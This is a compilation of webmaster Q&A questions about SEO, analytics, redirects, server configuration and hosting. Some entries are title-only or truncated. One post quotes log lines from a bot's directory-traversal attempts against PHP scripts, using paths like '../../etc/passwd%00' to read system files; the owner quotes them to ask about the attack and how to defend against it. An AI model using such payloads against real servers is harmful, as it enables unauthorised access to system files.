1&1 booting policy

Does anyone know what the parameters are for One&one booting policy for their control panel? In that it seems a rather short period of time before you get before being kicked out of One&one and then have to login again, which takes ages. Does it work by a certain amount of inactivity or is there just a set amount of time you can stay logged in before it boots you? Either way, is there a way to override this? I'm in the process of a lengthy transfer of sites (away from one&one) and it's so frustrating to have to go through the long... slow login several times a day!


Why is "www.mysite.com" different from "mysite.com"?

In any browser if I use `www.mysite.com` or just `mysite.com` the web page is correctly retrieved, but I am having trouble with Google Analytics and Facebook App. **Facebook:** To be able to get Likes, I create the Facebook App needed and set the site URL to `http://mysite.com/`. Using their tool http://developers.facebook.com/tools/debug/ when I test my page using `http://mypage.com` it works but using `http://www.mypage.com` fails with the message: > Object at URL 'http://www.mysite.com/' of type 'website' is invalid because > the domain 'www.mysite.com' is not allowed for the specified application id. **Google Analytics:** To be able to get traffic statistics, I created a Property and a Profile both with the URL `http://www.mypage.com` and no statistics were gathered in a week, when I changed the configured URL to `http://mypage.com` statistics where available a few hours later. What should I do to have statistics and likes for both `www.mysite.com` and `mysite.com` ??


Did Google penalize my site due to interlinking backlinks around same company website and blog?

I’m handling two websites in my company and both have more than 18,000 backlinks (I checked it through my GWT) and most of the links are coming from a Blogspot blog. I checked each and every backlink and I found that one particular blog contains most of our links. That blog has been handled by our colleague and he had posted more than 1080 posts. Each and every post contains my website’s link. That blog is related to cricket and mine is about boxing and track and field. At the end of each post my links have been placed by comma separation which looks odd for me because all the posts are related to cricket and mine is about boxing and track and field. He placed anchor texts as _Boxing gloves_ and _Athletic Gear_ in the last line of each post and from that anchor text my website has been getting backlink. After Google Last penguin 2.0 update I found that both of my websites lost ranking on Google. All my main keywords gone to 100th page (before Penguin update they were on first two pages) including _Boxing Gloves_ and _Athletic Gear_. Now my doubt is about the backlinks from that Blogspot blog. Did Google penalize my site because of that backlinks (interlinking around same company website and blog)? Does inbound links from cricket related page to boxing page is a link spam? See this image for more info: ![enter image description here](http://i.stack.imgur.com/ptBEq.jpg)


Duplicate content from a website still indexed by Google

My client used a third-party company that used duplicate link exchanges on their website previously. When my client gave their website to me to maintain it, I developed a different website that doesn't use link exchanges, and actually doesn't contain any duplicate content. Although the website has changed, the duplicate content is still indexed by search engines. I checked this with Google using:               site:www.example.com      and the results were:               www.example.com     www.example.com/links_1     www.example.com/links_2     www.example.com/links_3      ...until page 5 on Google, and with same _meta description_ and _meta title_. It's very bad because when I search for **_example_** (the name of website, not using a keyword), not one of the results is _www.example.com_. I think the source of the problem is that Google still has the duplicate content indexed used by the website previously. Is there any method/way to delete this, or get Google to index the new site?

How can I install a module in Plone 4.0.5?

I have an existing website that is old and html. I'd like to import it into Plone, and make it "Future Proof" thanks to Plone. I found on the Plone website which modules could help me with it: FunnelWeb, mr.importer and Collective.xdv. I downloaded and extracted all of them, but now I don't know what I should do with these Folders... It's not on the website and neither in the ReadMe File... I'm sorry if it might be a silly question for most of you, but it's too hard for me... ;-) Thanks in advance for your help.


Is it necessary to link to all landing pages from the homepage?

What I am wanting to do is build quite a few landing pages targeting specific keywords from google search. These pages will give a brief explanation of what we do and how we can help them with what they are looking for. Along with that, they will have a signup form. My question is where should these go in the site structure? Should the homepage link to all of them somehow? Or should the homepage link to some 'features' page or 'sitemap' page that then links to all of the landing pages? Or maybe the pages don't need to be linked from the homepage at all and can just be included in the sitemap. I feel that the last option probably isn't the best idea. EDIT: Quite a few is around 50 - 100. I plan on getting uses to the page by targeting niche ketwords and probably some adwords traffic as well. However I don't know if they need to be linked to somewhere in my site.


VS2012 One-Click Web Publish using file hashes instead of timestamps

We have have a small ASP.NET MVC web application that we develop and publish to a remote server using Visual Studio One-Click Web Publishing. We maintain our code in revision control, make edits, and trust one another on our small team to follow publishing guidelines both to test and production. However, when we switch from one to another publisher, the whole site gets republished because timestamps are different, both on the source files (due to SVN functionality) and binaries (pretty much unavoidable), resulting in a lengthier process and downtime. I know there are MSDeploy flags to publish using file hashes instead. Is there a way to enable these for use from the One-Click Publish interaction? (see 'usechecksum' at Web Deploy Operation Settings for information on this flag)


Impressions for brand keywords is more compared to non-brand?

I have noticed for my campaign that in Webmaster the impression for brand keywords is more compared to that of non-brand keywords. Any specific reason for this? Because the local search volume for brand keyword is less compared to that of non-brand and both my brand & non-brand keywords are ranking on top 5 positions. Can anyone help me?


IIS 7: Masking real domain

I have a website with 2 languages. **website.local/fr** and **website.local/en** How can I redirect:   * **myfrweb.com** to **website.local/fr** and   * **myenweb.com** to **website.local/en** keeping the **myenweb.com** or **myfrweb.com** in the navigation url? Because actually when I redirect myfrweb.com to website.local/fr, if I'm navigating to myfrweb.com, the url become website.local/fr.


Amazon web service to get purchase data

Is there a web service (either one of Amazon's own or a third-party) that will let me pull my purchase data from Amazon into my own site? This is strictly for personal use; I only want to get data associated with my own Amazon account. I'm currently working in PHP, so would need a PHP API. **EDIT:**   Just to make it clear, I'm looking for my own purchase history, not data from my seller account. I'd also consider a feed of info from my media library section. Given that there's an option to share those items, I'm assuming there's some kind of programmatic hook into it.


Google showing description from iframe on a page

Does anyone know how to block Evony?

There are lots of posts on Google's forums about Evony and their shady tactics: http://www.google.com/support/forum/p/AdSense/thread?tid=7c9ef267b8b3c01f&hl=en http://www.google.com/support/forum/p/AdSense/thread?tid=504b2e4035058e1d&hl=en evonyonline.com definitely doesn't work any more. I don't know why Google doesn't stop these monkeys. Does anyone know how to nuke Evony's latest garbage? I have about twenty filters but I am still seeing Evony ads on my site.


How to show Fixture on Google search result

I was searching for some football match fixture when i saw google showing fixtures right on the search result. ![enter image description here](http://i.stack.imgur.com/jCXDL.jpg) That makes me wondering if there is some technology I am missing (like microformat for showing user reviews) **Same goes for event listings.** ![enter image description here](http://i.stack.imgur.com/XHYRg.jpg) So, **what technology they used for this or its just google organic pickup?**


Is it a bad idea to use multiple analytic packages?

Is it alright to use multiple analytics packages (Google, clicky, mixpanel, etc) at the same time on the same site? Would it be more beneficial to just use one package?


Keep header across sites

We have a site, which has a main site served by Google Sites and a custom made forum running on a dedicated server. Now we want to use the header from Google Sites also on the forum, so it feels like the same site. I first tried creating an IFrame on the main site and placing the forum inside this IFrame. This looked nice, but I did not find a way to make direct links. The URL always was Open-Org.com no matter which topic on the forum one clicked at. I have thought about simply copying the relevant HTML code, but this means that I have to recopy it every time the header on the main page changes. Is there a nicer way to do such a thing? It must be a problem that many sites needs to solve. If what I am describing is unclear, there are more specific information here.


Multi Regional Webmaster Tools Targeting

We have a multi regional website which uses a two character string after the main domain to define which region's content to show e.g. `http://www.example.com/uk/` is the domain with English content specifically targeted at the UK. There are a few pages which exist on all of the versions of the website (home page, about page, contact page). However much of the content is region specific and the structure differs somewhat depending on which region you are viewing from. What would be the best way to implement hreflang tags based on the fact that the sites aren't set up as multi-language with the same content but are slightly different websites for each targeted region? Also, for some reason each regional version of the website has been set up as a separate site in Webmaster Tools. We're thinking about deleting the existing entries for the website from Webmaster Tools and setting up a new single entry that covers the whole website instead of having one for each region. Could this be detrimental in any way?


I'm receiving an "Account Suspended Page" when trying to accessing my VPS

I have a VPS account and host a handful of sites. Two of these sites I cannot view from specific computers. When I open the sites I get the account suspended page. See screenshot below. ![Screenshot](http://i.stack.imgur.com/IhCaQ.png) Here is what is odd. I only see it on two of my home computers. I also have a laptop at home that doesn't show it. If I look on my iPhone or iPad I do not see it. All of these devices are on the same IP. So that makes it extra weird. If I use a proxy I can in fact see the sites appear to be OK and are up online. I've cleared my cache multiple times, even did a DNS flush and nothing. So I'm wondering, why in the heck can I not view on my 2 specific computers? Has anyone else experienced something like this before and know how to solve it?

Is it true that quickly closing a webpage opened from a search engine result can hurt the site's ranking?

My web designer recently told me that I need to be careful not to Google for my business' website, click on its search result link, then _quickly_ close the page (or click back) too many times. He says "Google knows" that I didn't stay on the page, and could penalize my site for having a high bounce rate if it happens too much. Apparently, it could look like the behavior of a visitor who was not interested in what they found (hence the supposed detrimental effect on the site's search ranking). This sounds hard to believe to me because I would not have thought any information is transmitted which tells Google (or anyone, for that matter) whether or not a website is still open in a browser (in my case Firefox v25.0). Could there possibly be any truth to this? If not, why might he have come to this conclusion? Is there some click- tracking or similar technology employed by search engines which does something similar? Looking forward to hearing everyone's thoughts.


Did I use the proper way to remove pages from Google Webmaster Tools forever?

I have many pages from one year ago that were deleted and are returning a `404` error code, but two week ago after I cleared the content of my _robots.txt_ , the errors in my Google Webmaster Tools reports are still showing them as _not found_. After I read this Google support document, today I inserted these new meta tags for `404` error pages:               <meta name="robots" content="noindex">     <meta name="googlebot" content="noindex">       and after added that, I decided to change the header from: `header("HTTP/1.0 404 Not Found");` to `header("HTTP/1.0 410 Gone");` Do you think these new changes are right?


Why has mysql stopped working on localhost and how do I fix it?

I asked this at superuser but I'm having no joy there. I was really hoping someone could help because I'm stumped. I use a MacBook Pro running Mac OS X 10.6.4 For a few years I have used MAMP to test websites locally but suddenly and for no apparent reason when I start the MAMP servers the mysql light stays red. I'm not very clued up on how to actually run a server which is the main reason I use MAMP. I also have Sequel Pro installed for administering my databases. When I try to connect to mysql in Sequel Pro through a socket connection it says > The socket file could not be found in any common location. Please supply the > correct socket location. and then > MySQL said: Can't connect to local MySQL server through socket > 'tmp/mysql.sock' (2) I _can_ connect and access all my databases if I connect with host 127.0.0.1 but I used to just connect through the socket and all was fine. Also all my testing sites which I hosted locally are no longer being processed by PHP. I have no idea why this suddenly stopped working and any light someone could shine on the matter would be very much appreciated. A solution even more so. Thanks.


Analysing traffic sources in Analytics for Magento sales

Hi I have a Magento installation linked with a Google Analytics account. It works very well in that I can see conversions, I can see the products that are selling directly from analytics and I can get an overview of traffic sources for those sales. What I can't work out how to track/see is what keywords are being used by the customers that are completing sales. Can anybody let me know how this data can be gathered or if it's even possible? (is this possibly a privacy issue?)


301 Redirect HTML Pages

In a web debugger, the html of a 301 redirect page shows up as:               <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">          <title>301 Moved Permanently</title>
Moved Permanently

The document has moved here.
           I'm having to redirect html pages without server support. If I replace the pages html with the code above, will that work the same as writing 301 redirects in .htaccess on apache? I looked this up on google, but the sites talking about 301 redirects didn't cover this option for redirecting html pages.


Trouble with images in phppgAdmin on my Nginx VPS

Moving Website From CMS

I have recently had a website created for me by an IT company. The problem is that i am being charged extortant amounts of money to change minor things. They have charged me to a create a small CMS system, but it is overly simple and gives me very little control. I want to move my website to a new host so that I have full control of it. Can someone please explain the process i would have to go through in order to achieve this? NB: I have experience working with SQL, phpMyAdmin, HTML, CSS etc. Any and all help is much appreciated.. :)


How similar can 2 pages be before Google de-indexes one of them?

Using Similar Page Checker (http://www.webconfs.com/similar-page-checker.php), you can check if a web page is similar to other one. Is there any rule of thumb how high a percentage similarity is accepted by Google? That is, when Google consider that a page is too similar to another one and will not index it. I have two pages on the same domain where "how to order" information is 70% similar.

Website not showing in Google search

Transfer ownership of abandoned Google Analytics account

The web team of a new client was fully responsible for the client's Google Analytics account, meaning the client didn't keep records of the account. Now that that web team has gone under we are trying to retrieve the account. Is it possible to request an account to be transferred to another owner, or alternatively have a full-privileged user added to the account? What steps should I take to resolve this issue with Google?


php wallet system

I'm looking to set up a wallet system to run in a web app. The sort of thing that Adwords has i.e. you deposit money and then you can use money from you account to purchase items inside the web app. I've looked traditional payment processors and merchant banks, but they said I needed a wallet system. Does any one know of any and what's involved in setting them up? The web app is in PHP so it would be helpful if the wallet system was too.


How do webmasters store and keep track of their passwords

I'm developing a site for the first time, and I'm trying to work out the **best way to store and track all the accounts/passwords** e.g. Server passwords, ftp passwords, API passwords (FB, Google, Twitter), Email account passwords. There's a lot! If any one of these is compromised it could do a lot of damage. Also, I use public key authentication over SSH for connecting to my server using putty, but sadly, i actually fail to understand how this is safer than using default root login with a good password. For the private key is stored on my local machine and a password is not (hopefully not written down in plain text elsewhere). So what if my key was stolen? Would the thief be able to use that key to log in to the server and wreak havoc?


How can I prevent Googlebot from indexing web service URL's?

I have a problem with googlebot and bingbot accessing our web service. We have a search application created in aspx that is integrated into a drupal website. Users perform searches based on postal code or city through drupal and search query is outputted through aspx. The problem is that google/bing keeps indexing the aspx returned query pages and then we receive 404 errors. How can I prevent googlebot from indexing the web service. We are on IIS 7.5. Do we setup a rule on the server? I have tried blocking it in robots.txt but am unsure if I have the correct syntax.               Disallow: /*?     User-agent: Googlebot     Noindex: /office/default.aspx     Noindex: /?keyword     Noindex: /electronics/locationdetails.aspx?     Noindex: /electronics/communitydetails.aspx?

Is it Okay to add Keyword TAGS at the beginning or endiing of the post?

This question is bugging me from last few days.. I have seen many sites have 'TAGS' or 'INCOMING SEARCH ITEMS' and they have big list of keywords under it. Check out this example: ![enter image description here](http://i.stack.imgur.com/khcr8.jpg) One of my blog was recently de-indexed may be because i had used long titles. Can some one tell me if its okay to use such keywords in the beginning of post ? Is it allowed by Google search engine guidelines? is there any chance that the blog will get de indexd or penalized ?

Nginx Reverse Proxy for Tumblr

I'm currently trying to set up a reverse proxy redirecting a domain to a tumblr blog. I've set up NGinx using this Gist. My nginx configuration looks like so:               upstream tumblr {             server 66.6.44.4;     }          server {             listen          80;             server_name     mydomain.com;                  access_log      /var/log/nginx/mydomain.access.log;                  proxy_set_header  X-Real-IP       $remote_addr;             proxy_set_header  X-Forwarded-For $proxy_add_x_forwarded_for;             proxy_set_header  Host            $http_host;             proxy_set_header  REMOTE-HOST     $remote_addr;             proxy_redirect    off;             proxy_max_temp_file_size          0;                  location / {                     proxy_pass http://tumblr;                     break;             }     }          server {             listen          80;             server_name    www.mydomain.com;             rewrite ^/(.*)  http://mydomain.com/$1 permanent;     }      Unfortunately, this doesn't work. When I attempt to connect to my blog via _mydomain.com_ , I get the "there's nothing here" page on Tumblr. How can I properly make my reverse proxy work with Tumblr? **Things I've tried** :   * I cannot add _mydomain.com_ as a custom domain because the A record points to the IP I have Nginx on and not the required Tumblr domain ( _66.6.44.4_ ).   * Changing the upstream server to myblog.tumblr.com does absolutely nothing.


How to set the Content-Type for SVG files parsed by PHP

I currently use the following Apache httpd conf:               <FilesMatch "\.svg$">       SetHandler application/x-httpd-php     </FilesMatch>     AddType image/svg+xml .svg      What I'm trying to achieve:   * Parsing the PHP scripts in my SVG files   * Serving my SVG files with the `image/svg+xml` MIME type However, the AddType seems to be ignored now that I've set it to use the alternative handler for my SVG files. They're now served as `text/html`. How can I make the httpd parse the PHP in my SVG files while preserving its `image/svg+xml` type? I currently include a `header("Content-type: image/svg+xml");` call in my SVG file to solve this, although I'd rather have a global way of doing this instead of having to insert this into all of my SVG files.   * CentOS 6.5   * Apache 2.2.15   * PHP 5.3.3


How can I prevent my site from being branded a "content farm?"

I'm building a small social Q&A site. Another Q&A site that I use was recently branded by Google as a content farm and removed from Google results. I know what Wikipedia says is the definition of a content farm (low quality paid articles and spammy text across the page to catch search engines). That other site I use doesn't do those things, so there must be more to it than that. I want to make sure I don't do anything that causes Google to think my Q&A site is a content farm. What should I do, or avoid doing in designing my site layout?


GoogleBot can't reach my site

Low "time on site" and high bounce-rate in Japan

I'm seeing a substantially low "time on site" and high bounce rate from visitors coming from Japan. Comparing to other states, even in languages I don't speak, the stats are still dramatically worse. So I assume there's something specific to that nation, that I should understand in order to make their experience better. The content they are seeing is in Japanese, and I've also translated the head- lines, which to my surprise didn't make stats look better. The site doesn't have a mobile version, so I assume that might be part of the problem. Wanted to hear from your experience what other reasons might there be that are specific for Japan. UPDATE: The content itself was in Japanese all the time, that's the reason it attracts users from Japan. The head-lines were in English, so I only changed them.


SSL not working on home page

How to build a list from Postfix maillog

I want to build a list from maillog, `maillog.x` containing something like Date, Sender's email, Recipient's Email and subject of the message filtering output emails and output domain. I've read about importing from spreadsheet program a csv file. The issue is I have to add field separators in log file. I couldn't figure out how to customize that. How can I do that, the list and the separator? This is an example of sending mail log               Jun 11 15:24:58 host postfix/cleanup[19060]: F41C660D98A0: warning: header Subject: TESTING SUBJECT from unknown[XXX.XXX.XXX.XXX]; from=sender@sender.com> to=recipient@recipient.com> proto=ESMTP helo=<[192.168.1.91]>     Jun 11 15:25:01 host postfix/smtp[19062]: F41C660D98A0: to=<me@me.com>, relay=mx-rl.com[xxx.xxx.xxx.xxx]:25, delay=3.4, delays=0.66/0.01/0.86/1.9, dsn=2.0.0, status=sent (250 <538E30D9000A1DD8> Mail accepted)      The list would contain the subject, from, and to, filtering by `to = ...@recipient.com`


Is it a good idea to use Normalize.CSS in every website?

For tablet and other mobile devices, new browsers are popping out like mushrooms, and it's practically becoming very difficult to test the rendering of every website we design on all such browsers. Is it a good idea to use Normalize.CSS on every website?


Does the source of a visitor affect the revenue for Google AdSense ads?

I'm wondering if two ad clicks are equally valued, if one of them found the site from Google, and the other came from a referral link, would that affect the revenue paid? How about with a direct visit?


Files I should have on every website

I would like to have a list of files that should exist on every website. The idea is to please most browsers and bots and get down with the number of 404 messages in the logs. So far I have the following files:   * `/favicon.ico`   * `/robots.txt`   * `/sitemap.xml`   * `/apple-touch-icon-72x72-precomposed.png`   * `/apple-touch-icon-72x72.png`   * `/apple-touch-icon-precomposed.png`   * `/apple-touch-icon.png` Are there other files that get requested often and should be on every website?


Moving Feedburner to a new domain

I have a Wordpress blog (running Feedsmith plugin) that uses Feedburner for email and RSS subscribers. Currently this blog is located at `http://www.myblog.com`. I will be moving this Wordpress blog to a new domain as follows `http://newdomain.com/blog` I wonder if anyone could give me a suggestion on how to edit my Feedburner settings to avoid losing subscirbers. I've read that in the **"Edit Feed Details..."** panel of Feedburner one should change: **Feed Title** : New Blog Title **Original Feed** : `http://newdomain.com/blog/feed` **Feed Address** : **_what should this be changed to?_** Any suggestions are welcome. Thanks.


What was this hack-bot trying to achieve via directory traversal?

I was walking through my server logs and the following kinda stunned me:               ACCESS ERROR 404 from IP 62.112.152.161:         Path: /index.php?page=weblog&env=../../../../../../../../etc/passwd%00          ACCESS ERROR 404 from IP 62.112.152.161:         Path: /download.php?dlfilename=../../../../../../../../etc/passwd%00          ACCESS ERROR 404 from IP 62.112.152.161:         Path: /download.php?filename=../../../../../../../../etc/passwd%00          ACCESS ERROR 404 from IP 62.112.152.161:         Path: /agb.php?lang=../../../../../../../../etc/passwd%00          ACCESS ERROR 404 from IP 62.112.152.161:         Path: /angemeldet.php?lang=../../../../../../../../etc/passwd%00      There were lot's more variations, always triyng to get the same file. They wouldn't succeed even if there was some "download.php"*, but I'm curious what would it do if they did.   Also, I wonder if there's something I can do against this BOT in more global scope, to help other webmasters who might have their site vulnerable against such attack. Unfortunatelly, HTTP headers were not registered. *I'm running on virtual server where PHP's top dir is the website's root.


How to block certain URL from robots.txt file?

This is simple question but also I have a confusion. Below is the code which I wrote in my _robots.txt_ :               User-Agent: *     Disallow: /phpmyadmin/       Disallow: /login/     Disallow: /newsletter/     Disallow: /articlesubmission/       Allow: /          Sitemap: http://www.example.com/sitemap.xml      I want all bots to follow my site but they should not follow these URLs:               http://www.example.com/phpmyadmin/.....     http://www.example.com/login/.....     http://www.example.com/newsletter/.....      http://www.example.com/articlesubmission/.....       My doubt: **Is my above _robots.txt_ code is correct?**   I followed this code from StackOverflow robots.txt.


Which ISPs has the cheapest transfer?

There are a lot websites where you upload file and many people download it. I guess these servers are located in ISP where the transfer is very cheap, I guess Europe, because US has expensive transfer data. I mean sites like 4shared, yousendit, filestube, fileserve, ... and other "movie repository" sites :P Where are they usually hosted to get cheaper transfer data ? Thank you


My website is reported to belong to "Japan" on Alexa's ranking

I'm the owner of Thought Results, which is a newbie I just started. I'm an Iranian guy. But when I see Alexa's ranking, it says that my website belongs to Japan. Also Visualize Traffic reports the same thing. You can check at: http://www.alexa.com/search?q=thoughtresults.com   http://visualizetraffic.com/update.php?q=thoughtresults.com In spite of this, I'm still able to login to almost every place, including database, control panel, domain tools, etc. What does this mean? Am I hacked by somebody? Has somebody stolen my domain name?


Book / resource suggestions for learning web development? Where to start?

OK, so there's so much to know that I don't even know where to start. I'm hoping you can help me come up with a list of books to get started with. I'm interested in web applications (for example, building a custom wordpress theme or plugin), but I also want to be well-rounded and have a decent technical grasp of the web (databases, servers, networking). I'm guessing javascript and php are languages to learn first? I don't mind dry technical reading.

Flat vs. Hierarchical Tree Structure

I'm a developer in the middle of the development of a medium-sized website. A requirement that we just received from the resident SEO person on the project is for all the URLs on the site be just off the root (e.g. /product-name, /small-keywords-separated-by-hyphens). Here is an example (one of a few, both I think this is the one that would potentially favor his viewpoint the most):   1. Solutions http://site.com/solutions/     * 1.1 Showcase http://site.com/showcase/     * 1.2 Healthcare http://site.com/healthcare/     * 1.3 Education http://site.com/education/     * 1.4 Residential http://site.com/residential/     * 1.5 Industrial http://site.com/industrial/ To be clear, I'm advocating a structure like: /solutions/showcase, /solutions/healthcare/, etc. To me, there are clearly defined sections of the site- there are various parts of content which seem to deserve their own place in the structure of the site. Here were his points: > Decreased keyword density for the words being targeted in the URL, the > longer the URL the less emphasis is being placed on the keywords being > targeted in the URL > > Decreased emphasis on the importance of the page from a search engine > standpoint, the further the page rests off of the root the less importance > is attributed to that page > > Decreased adaptability over time, for example when time comes to redesign > the site again in the future, suppose the navigation changes, by > incorporating the folder you have reduced your ability to re-use the URLs on > the new site and minimize any slippage in the search results > > Decreased usability for advertising the URL, suppose [company] wants to run > a print campaign on a particular [product], the shorter URL would be more > user friendly and more likely to lead to a conversion The points I made in response were around user experience and based off this document from Google. Personally I've never seen the structure he's proposing. Is this type of thing best practice for SEO? Thanks for your time.


Is there a modern (eg NoSQL) web analytics solution based on log files?

I have been using **Awstats** for many years to process my log files. But I am missing many possibilities (like cross-domain reports) and I hate being stuck with extra fields I created years ago. Anyway, I am not going to continue to use this script. Is there a modern apache logs analytics solution based on modern storage technologies like NoSQL or at least somehow ready to cope with large datasets efficiently? I am primarily looking for something that generates nice sortable and searchable outputs with the focus on web analytics, before having to write my own frontends. (so **graylog2** is not an option) This question is purely about log file based solutions.


How to using ajax for voting script

I'm trying to set up some voting logic on my site, and have the vote result update without refreshing the site. I did some research and AJAX seems to be the way to go, but I can't find a good tutorial on it. I'm doing the update to Mysql               $query = "update RR_upload set vote = vote".$vote." where id = '".$var1."'";     mysql_query($query, $connection) or die (mysql_error());      How do I make it so AJAX updates the content of the site after running the vote update?

Videos from Youtube/Vimeo not displaying in iframes

I was giving a webinar about HTML today in Brackets. When showing how to use iframes, all my students managed to insert Google Maps using iframes but no one was able to make the YouTube and Vimeo iframes work (we used the code provided by the services themselves in the embed sections). It worked for me, no hassle (in Brackets, just like them). From what I was told (we had to do without screen sharing this time unfortunately), Live Preview (Brackets browser) displayed the area but with a sad face icon instead of video. I thought it might be due to the Brackets browser but I had a participant working in NotePad++ who was saving to desktop and opening in a regular browser, it didn't work for them either. My students were mostly teachers, probably assisting the webinar while in their institutions. I raised the hypothesis that possibly videos were filtered in their workplace but someone said they can normally use YouTube (directly that is). I checked the code for one of the iframes and everything seemed fine. One of my participants eventually got a workaround, by adding **https** to the URL like so:               <iframe src="https://player.vimeo.com/video/80476161" ...      This is the trick my students use to bypass the school filters to access Facebook. Could that confirm my doubts about iframes getting blocked by something in the environment of my participants? What do you think is going wrong here?

Testing the application

We are nearing finish of the web application done in RoR (it is Social website). I am not RoR person, I am just JS/Jquery side. All of us do not have much experience with big applications, and this is the first one we have ever done (not counting small apps). It look and feels ok, but except normal testing done by humans we have not used another testing available. What can you recommend me to do? What programs are out there that I can use to stress the application and create scenarios? Some application that will crawl all around the place and find problems/vulnerabilities that we have not yet detected? I am walking blind here, so any help is kindly appreciated. :)


Cannot alter file permission on server (550). Is this because I have no domain name?

I am building a site on a CMS (modx) for a client who has not decided on their domain name. I have access to WHM so just set up an account with out pointing any domain name to it and began developing just using the URL `http://example.com/~newsite` Everything seemed to be going well until I installed TinyMCE (the WYSIWYG text editor) which allows you to browse and upload images on the server and add them to page content. The editor worked fine but I just couldn't access any files on the web server. Looking into the issue I saw that many files that were part of TinyMCE were non executalbe (644). I tried changing them but got a 550 error, eg: `550 Could not change perms on jquery-1.4.2.js: Operation not permitted` Could this be something to do with the way I am accessing the files on FTP? I am using the hosting servers IP address as the host, rather than a hostname. Any advice would be appreciated! Thanks

Should mobile webpages have hreflang links to non-mobile pages?

My site has multilingual links, which are specified like this on non-mobile pages:                <link rel="alternate" hreflang="en" href="http://mydomain.com/page" />      <link rel="alternate" hreflang="jp" href="http://ja.mydomain.com/page" />      <link rel="alternate" hreflang="ko" href="http://ko.mydomain.com/page" />      In addition, these non-mobile pages link to a mobile version:                   <link rel="alternate" media="only screen and (max-width: 640px)" href="/mobile/page" />      Now the question is about what links should be in the mobile page, which isn't translated to different languages now. Is this enough:                 <link rel="canonical" href="/page"/>      Or should I also have the same group of hreflangs that point to non-mobile pages?


Using a canonical link with non-duplicate pages

I want to use canonical tag for `index.php` and all versions of `index.php` below:                 index.php           index.php?something         index.php?somethingsomething        I also have URLs like: `someproduct.html` However, I am using packaged software and cannot add a canonical link to just `index.php` and its variations, the software will also add it to `someproduct.html`. Do you know how Google will respond to `someproduct.html` page if I do this?


How to 301 redirct all incoming requests to a domain to another domain?

Can this be done with .htaccess? If so what's the rule to be used?


Should I 'mark as fixed' deleted pages in Google Webmaster Tools?

I have deleted a couple of thousand pages from a website. They do not appear in my _sitemap.xml_ and no other pages on the web are pointing to these anymore. Google Webmaster Tools (GWT)'s _crawl error_ pages starts to report them as not found. There is an option to mark them as fixed. Should I mark them as fixed? They are not really fixed and won't ever be fixed. There is also a _remove URLs_ page, but there is no way I will manually remove those pages one by one (REM: those pages are not in a single directory, they were all over the place, so there is no _robots.txt_ directive I could use). If Google does not find a page, does it automatically remove it from its index, or if we mark it as fixed, does it try to reach it over and over again?


Control Content Hosting, DNS Hosting and Registration with command line?

I am fed up with Blogger's odd error msgs and Go Daddy's automatic replies to questions. They have never mentioned the word " **DNS Hosting** " to me, apparently the thing I am missing. I would really love to learn things, instead of learn to "click" things. I want to see what happens at the background. So is it possible that I do everything (3 things below)?   1. DNS hosting <---- ?? by whom is this thing controlled?   2. content hosting <--- needs some laptop   3. Registration <-- needs ICANN approval ok, I am totally lost with this mess but I am looking for a simpler way to control things. I would really love a powerful commandline access and edit things in files (instead of Go Daddy's click this that blaaH). Anyone solved this problem for powerusers more simply?


How to promote a site that sells specific software if all places where potential buyers hang prohibit advertisement?

Let's consider an abstract situation: We develop a commercial plugin for Joomla that does something. For example it turns all normal links into SEO links (I know it's trivial but it's just an example). Now we want to reach people. We add our software webpage to the most obvious places like Google Ads, software directory websites, etc.. However the first thing that comes to mind is to actually let Joomla users and SEO folks know about this software. And then comes the problem: all such places (Joomla forum, various big SEO forums) prohibit advertisement. What is the way to deal with that? It's quite natural that I want to let Joomla users know about software that might help them but at the same I can't break rules. I can think of tricks like creating topics that would pretend to not have ads (e.g. "did anyone use this plugin, is it good?") but I don't want to go that path very much.


Conveying website hierarchy using page title. Any conventions?

I was thinking of using a format like: `[SpecificPageName - ]SiteName - SectionName`   * StackOverflow - Download   * StackOverflow - Contact   * StackOverflow - Forum      * hey guys my 1st post - StackOverflow - Forum     * this site has nice titles - StackOverflow - Forum However, I don't really see the last two examples used anywhere. Apple sometimes uses a `:` to signify a specific page in section:   * hey guys my 1st post: StackOverflow - Forum But the use of a `:` eeks me out a bit. Anyone know a good convention for this?


The SEO benefit of breaking up content onto different websites

I have a client who's been told that breaking up his content onto multiple websites will give him an SEO boost. I'm wondering if this is true. Let me break it down thus...   * the client has bought multiple domain names   * he does training in VMware, ITIL, Novel, Citrix, etc.   * he wants to make **_1_** website which just talks about vmware training, **_1_** website which talks about novel training, **_1_** website on Citrix, etc.   * each website would use a related domain name (e.g. the VMware specific website would use `www.vmwaretrainingmelbourne.com.au`)   * all the websites use the same design/layout (you can tell its the same company) Will breaking up the site in this way really provide better Google rankings?


How to filter out Yottaa bots traffic in Google Analytics?

I'm using both Google Analytics and Yottaa for my website.

I don't know how to tell Yottaa bots traffic and normal human traffic apart on Google Analytics. How to do that?


I'm on Charter's email blacklist, how do I get removed?

I am a programmer in a local government agency. I found out today when I got to work that Charter Internet has blacklisted us for our mailing list that we run. This list is used for communicating news and alerts for our residents. Does anyone have a phone # I can use to contact Charter about this? Normally the email approach is fine, but we have yet another snow storm coming and 75 of our customers won't be alerted to a snow emergency if we have one and may possibly be towed as a result.

If this is infact the way to go, how often should I submit the sitemap and where? 2) **have each page contain it's own unique title and meta tags (desc, keywords)** - How will I know what goes into each page to make key words out of it? The main thing that escapes my brain is, how would each question (the title is different, so as far as the search engine is concerned, it's a new page) - how would I tell the engines that I have a new page? Thanks.


What effects that new content shows on Google right away?

When I post a question or content on some websites (for example StackOverFlow is a great example) and then when I search on Google for same content, I can see my question/content on search results in less than 5 minutes! What are the key points to achieve that for our websites, so we would not need to wait for days or weeks to googlebot to hit our websites and show them on the search results? My first thoughts are,   * pagerank should be high,    * website should be in top 10,000 of most visited websites (should be very popular)   * google should trust this website (I do not know if they have a kind of trusted label),    * dynamically ping google (maybe via api?) there let google know there is a new content or reindex website content.   * do nothing special, just apply basic SEO techniques (like page titles, meta tags, h1 tags etc) and google will eventually show your content right away? Is there any thoughts on this?


Browsers with pop-up blocker enabled by default

I'm trying to convince a client that adding pop-up or pop-unders isn't worthwhile. The argument "pop-ups are annoying and your users won't return" doesn't work because it's not the kind of site that people will visit regularly -- just buy and leave. I'd like to be able to look at the site's traffic data and point to the very high percentage of users who are using browsers which not only have pop-up blockers but have them turned on by default. Can anybody provide a list of browser versions which have the pop-up blocker enabled in the standard installation? Alternately, are there other good data points which demonstrate the ineffectiveness of pop-ups?


How can I check memory usage for each cPanel account?

